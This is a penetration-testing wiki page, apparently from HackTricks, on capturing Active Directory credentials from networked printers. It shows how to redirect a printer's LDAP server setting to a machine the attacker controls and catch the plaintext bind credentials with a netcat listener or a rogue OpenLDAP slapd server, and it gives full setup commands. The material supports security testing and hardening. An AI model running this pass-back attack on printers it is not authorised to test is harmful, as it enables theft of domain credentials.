AD information in printers

Support HackTricks and get benefits!
There are several blogs in the Internet which highlight the dangers of leaving printers configured with LDAP with default/weak logon credentials.
This is because an attacker could trick the printer to authenticate against a rouge LDAP server (typically a nc -vv -l -p 444 is enough) and to capture the printer credentials on clear-text.
Also, several printers will contains logs with usernames or could even be able to download all usernames from the Domain Controller.
All this sensitive information and the common lack of security makes printers very interesting for attackers.
Some blogs about the topic:
​https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/​
​https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856​
The following information was copied from https://grimhacker.com/2018/03/09/just-a-printer/​
LDAP settings
On Konica Minolta printers it is possible to configure an LDAP server to connect to, along with credentials. In earlier versions of the firmware on these devices I have heard it is possible to recover the credentials simply by reading the html source of the page. Now, however the credentials are not returned in the interface so we have to work a little harder.
The list of LDAP Servers is under: Network > LDAP Setting > Setting Up LDAP
The interface allows the LDAP server to be modified without re-entering the credentials that will be used to connect. I presume this is for a simpler user experience, but it gives an opportunity for an attacker to escalate from master of a printer to a toe hold on the domain.
We can reconfigure the LDAP server address setting to a machine we control, and trigger a connection with the helpful “Test Connection” functionality.
Listening for the goods
netcat
If you have better luck than me, you may be able to get away with a simple netcat listener:
1
sudo nc -k -v -l -p 386
Copied!
I am assured by @_castleinthesky that this works most of the time, however I have yet to be let off that easy.
Slapd
I have found that a full LDAP server is required as the printer first attempts a null bind and then queries the available information, only if these operations are successful does it proceed to bind with the credentials.
I searched for a simple ldap server that met the requirements, however there seemed to be limited options. In the end I opted to setup an open ldap server and use the slapd debug server service to accept connections and print out the messages from the printer. (If you know of an easier alternative, I would be happy to hear about it)
Installation
(Note this section is a lightly adapted version of the guide here https://www.server-world.info/en/note?os=Fedora_26&p=openldap )
From a root terminal:
Install OpenLDAP,
1
#> dnf install -y install openldap-servers openldap-clients
2
​
3
#> cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG 
4
​
5
#> chown ldap. /var/lib/ldap/DB_CONFIG
Copied!
Set an OpenLDAP admin password (you will need this again shortly)
1
#> slappasswd 
2
New password:
3
Re-enter new password:
4
{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
Copied!
1
#> vim chrootpw.ldif
2
# specify the password generated above for "olcRootPW" section
3
dn: olcDatabase={0}config,cn=config
4
changetype: modify
5
add: olcRootPW
6
olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
Copied!
1
#> ldapadd -Y EXTERNAL -H ldapi:/// -f chrootpw.ldif
2
SASL/EXTERNAL authentication started
3
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
4
SASL SSF: 0
5
modifying entry "olcDatabase={0}config,cn=config"
Copied!
Import basic Schemas
1
#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/cosine.ldif 
2
SASL/EXTERNAL authentication started
3
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
4
SASL SSF: 0
5
adding new entry "cn=cosine,cn=schema,cn=config"
6
​
7
#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/nis.ldif 
8
SASL/EXTERNAL authentication started
9
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
10
SASL SSF: 0
11
adding new entry "cn=nis,cn=schema,cn=config"
12
​
13
#> ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/openldap/schema/inetorgperson.ldif 
14
SASL/EXTERNAL authentication started
15
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
16
SASL SSF: 0
17
adding new entry "cn=inetorgperson,cn=schema,cn=config"
Copied!
Set your domain name on LDAP DB.
1
# generate directory manager's password
2
#> slappasswd 
3
New password:
4
Re-enter new password:
5
{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
6
​
7
#> vim chdomain.ldif
8
# specify the password generated above for "olcRootPW" section
9
dn: olcDatabase={1}monitor,cn=config
10
changetype: modify
11
replace: olcAccess
12
olcAccess: {0}to * by dn.base="gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth"
13
read by dn.base="cn=Manager,dc=foo,dc=bar" read by * none
14
​
15
dn: olcDatabase={2}mdb,cn=config
16
changetype: modify
17
replace: olcSuffix
18
olcSuffix: dc=foo,dc=bar
19
​
20
dn: olcDatabase={2}mdb,cn=config
21
changetype: modify
22
replace: olcRootDN
23
olcRootDN: cn=Manager,dc=foo,dc=bar
24
​
25
dn: olcDatabase={2}mdb,cn=config
26
changetype: modify
27
add: olcRootPW
28
olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
29
​
30
dn: olcDatabase={2}mdb,cn=config
31
changetype: modify
32
add: olcAccess
33
olcAccess: {0}to attrs=userPassword,shadowLastChange by
34
dn="cn=Manager,dc=foo,dc=bar" write by anonymous auth by self write by * none
35
olcAccess: {1}to dn.base="" by * read
36
olcAccess: {2}to * by dn="cn=Manager,dc=foo,dc=bar" write by * read
37
​
38
#> ldapmodify -Y EXTERNAL -H ldapi:/// -f chdomain.ldif 
39
SASL/EXTERNAL authentication started
40
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
41
SASL SSF: 0
42
modifying entry "olcDatabase={1}monitor,cn=config"
43
​
44
modifying entry "olcDatabase={2}mdb,cn=config"
45
​
46
modifying entry "olcDatabase={2}mdb,cn=config"
47
​
48
modifying entry "olcDatabase={2}mdb,cn=config"
49
​
50
modifying entry "olcDatabase={2}mdb,cn=config"
51
​
52
#> vim basedomain.ldif
53
dn: dc=foo,dc=bar
54
objectClass: top
55
objectClass: dcObject
56
objectclass: organization
57
o: Foo Bar
58
dc: DC1
59
​
60
dn: cn=Manager,dc=foo,dc=bar
61
objectClass: organizationalRole
62
cn: Manager
63
description: Directory Manager
64
​
65
dn: ou=People,dc=foo,dc=bar
66
objectClass: organizationalUnit
67
ou: People
68
​
69
dn: ou=Group,dc=foo,dc=bar
70
objectClass: organizationalUnit
71
ou: Group
72
​
73
#> ldapadd -x -D cn=Manager,dc=foo,dc=bar -W -f basedomain.ldif 
74
Enter LDAP Password: # directory manager's password
75
adding new entry "dc=foo,dc=bar"
76
​
77
adding new entry "cn=Manager,dc=foo,dc=bar"
78
​
79
adding new entry "ou=People,dc=foo,dc=bar"
80
​
81
adding new entry "ou=Group,dc=foo,dc=bar"
Copied!
Configure LDAP TLS
Create and SSL Certificate
1
#> cd /etc/pki/tls/certs 
2
#> make server.key 
3
umask 77 ; \
4
/usr/bin/openssl genrsa -aes128 2048 > server.key
5
Generating RSA private key, 2048 bit long modulus
6
...
7
...
8
e is 65537 (0x10001)
9
Enter pass phrase: # set passphrase
10
Verifying - Enter pass phrase: # confirm
11
​
12
# remove passphrase from private key
13
#> openssl rsa -in server.key -out server.key 
14
Enter pass phrase for server.key: # input passphrase
15
writing RSA key
16
​
17
#> make server.csr 
18
umask 77 ; \
19
/usr/bin/openssl req -utf8 -new -key server.key -out server.csr
20
You are about to be asked to enter information that will be incorporated
21
into your certificate request.
22
What you are about to enter is what is called a Distinguished Name or a DN.
23
There are quite a few fields but you can leave some blank
24
For some fields there will be a default value,
25
If you enter '.', the field will be left blank.
26
-----
27
Country Name (2 letter code) [XX]: # country
28
State or Province Name (full name) []: # state
29
Locality Name (eg, city) [Default City]: # city
30
Organization Name (eg, company) [Default Company Ltd]: # company
31
Organizational Unit Name (eg, section) []:Foo Bar # department
32
Common Name (eg, your name or your server's hostname) []:www.foo.bar # server's FQDN
33
Email Address []:[email protected] # admin email
34
Please enter the following 'extra' attributes
35
to be sent with your certificate request
36
A challenge password []: # Enter
37
An optional company name []: # Enter
38
​
39
#> openssl x509 -in server.csr -out server.crt -req -signkey server.key -days 3650
40
Signature ok
41
subject=/C=/ST=/L=/O=/OU=Foo Bar/CN=dlp.foo.bar/[email protected]
42
Getting Private key
Copied!
Configure Slapd for SSL /TLS
1
#> cp /etc/pki/tls/certs/server.key \
2
/etc/pki/tls/certs/server.crt \
3
/etc/pki/tls/certs/ca-bundle.crt \
4
/etc/openldap/certs/
5
​
6
#> chown ldap. /etc/openldap/certs/server.key \
7
/etc/openldap/certs/server.crt \
8
/etc/openldap/certs/ca-bundle.crt
9
​
10
#> vim mod_ssl.ldif
11
# create new
12
 dn: cn=config
13
changetype: modify
14
add: olcTLSCACertificateFile
15
olcTLSCACertificateFile: /etc/openldap/certs/ca-bundle.crt
16
-
17
replace: olcTLSCertificateFile
18
olcTLSCertificateFile: /etc/openldap/certs/server.crt
19
-
20
replace: olcTLSCertificateKeyFile
21
olcTLSCertificateKeyFile: /etc/openldap/certs/server.key
22
​
23
#> ldapmodify -Y EXTERNAL -H ldapi:/// -f mod_ssl.ldif 
24
SASL/EXTERNAL authentication started
25
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
26
SASL SSF: 0
27
modifying entry "cn=config"
Copied!
Allow LDAP through your local firewall
1
firewall-cmd --add-service={ldap,ldaps}
Copied!
The payoff
Once you have installed and configured your LDAP service you can run it with the following command :
1
slapd -d 2
Copied!
The screen shot below shows an example of the output when we run the connection test on the printer. As you can see the username and password are passed from the LDAP client to server.
slapd terminal output containing the username "MyUser" and password "MyPassword"
How bad can it be?
This very much depends on the credentials that have been configured.
If the principle of least privilege is being followed, then you may only get read access to certain elements of active directory. This is often still valuable as you can use that information to formulate further more accurate attacks.
Typically you are likely to get an account in the Domain Users group which may give access to sensitive information or form the prerequisite authentication for other attacks.
Or, like me, you may be rewarded for setting up an LDAP server and be handed a Domain Admin account on a silver platter.
Support HackTricks and get benefits!

Abusing Active Directory ACLs/ACEs

ASREPRoast

Last modified 18d ago

Copy link

Contents

LDAP settings

Listening for the goods